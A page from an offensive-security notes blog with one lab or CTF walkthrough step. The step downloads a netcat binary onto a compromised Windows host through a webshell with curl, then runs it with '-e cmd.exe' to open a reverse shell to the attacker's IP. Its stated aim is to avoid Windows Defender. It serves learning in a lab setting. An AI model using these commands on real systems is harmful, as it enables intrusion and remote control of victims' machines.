boot767 notes · 24 posts

Every Shell Leaves a Trace

I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources
boot767 notes · 24 posts

Every Shell Leaves a Trace

I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources

02. Compiling Netcat and Reverse Shell

There are several ways to get a reverse shell on Thomas' PC, but each has to avoid tripping Windows Defender. A PowerShell reverse shell would get picked up in a split second. There's a PHP interpreter on the machine, which is how I got RCE in the first place, but I won't go that route because PHP shells can be a bit finicky. Instead I'll use the 'ol trusty netcat binary, and not just any binary, one that is less likely to be detected by Windows Defender.

Grab a Netcat Binary

Clone a repo with a prebuilt binary and serve it from the attack box:

git clone https://github.com/int0x33/nc.exe/
python3 -m http.server 8002

Upload to the Victim

Pull the binary down with curl from the webshell:

curl http://10.50.106.231:8002/nc64.exe -o C:\\Windows\\Temp\\nc-reapZ.exe

Catch the Shell

Start a netcat listener on the attack box:

rlwrap -cAr nc -lvnp 13337

Then call netcat from the webshell to connect back:

powershell.exe c:\\windows\\temp\\nc-reapZ.exe 10.50.106.231 13337 -e cmd.exe